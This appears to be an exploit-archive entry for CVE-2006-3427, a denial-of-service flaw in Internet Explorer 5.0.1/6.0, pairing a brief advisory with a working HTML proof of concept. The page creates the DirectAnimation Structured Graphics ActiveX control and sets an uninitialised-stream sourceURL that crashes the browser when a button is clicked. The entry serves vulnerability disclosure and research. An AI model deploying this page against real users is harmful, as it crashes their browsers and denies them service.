Microsoft Internet Explorer 5.0.1/6.0 - Structured Graphics Control Denial of Service

Author: hdm
type: dos
platform: windows
port: 
date_added: 2006-07-06 
date_updated: 2013-09-09 
verified: 1 
codes: CVE-2006-3427;OSVDB-26839 
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source: https://www.securityfocus.com/bid/18855/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because it fails to handle ActiveX controls properly.

This issue is triggered when an attacker convinces a victim user to activate a malicious ActiveX control.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html><body><script>

// MoBB Demonstration
function Demo() {
        var a = new ActiveXObject(&#039;DirectAnimation.StructuredGraphicsControl&#039;);
        a.sourceURL = &#039;CrashingBecauseStreamPtrNotInitialized&#039;;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type=&#039;button&#039; onClick=&#039;Demo()&#039; value=&#039;Start Demo!&#039;>


</body></html>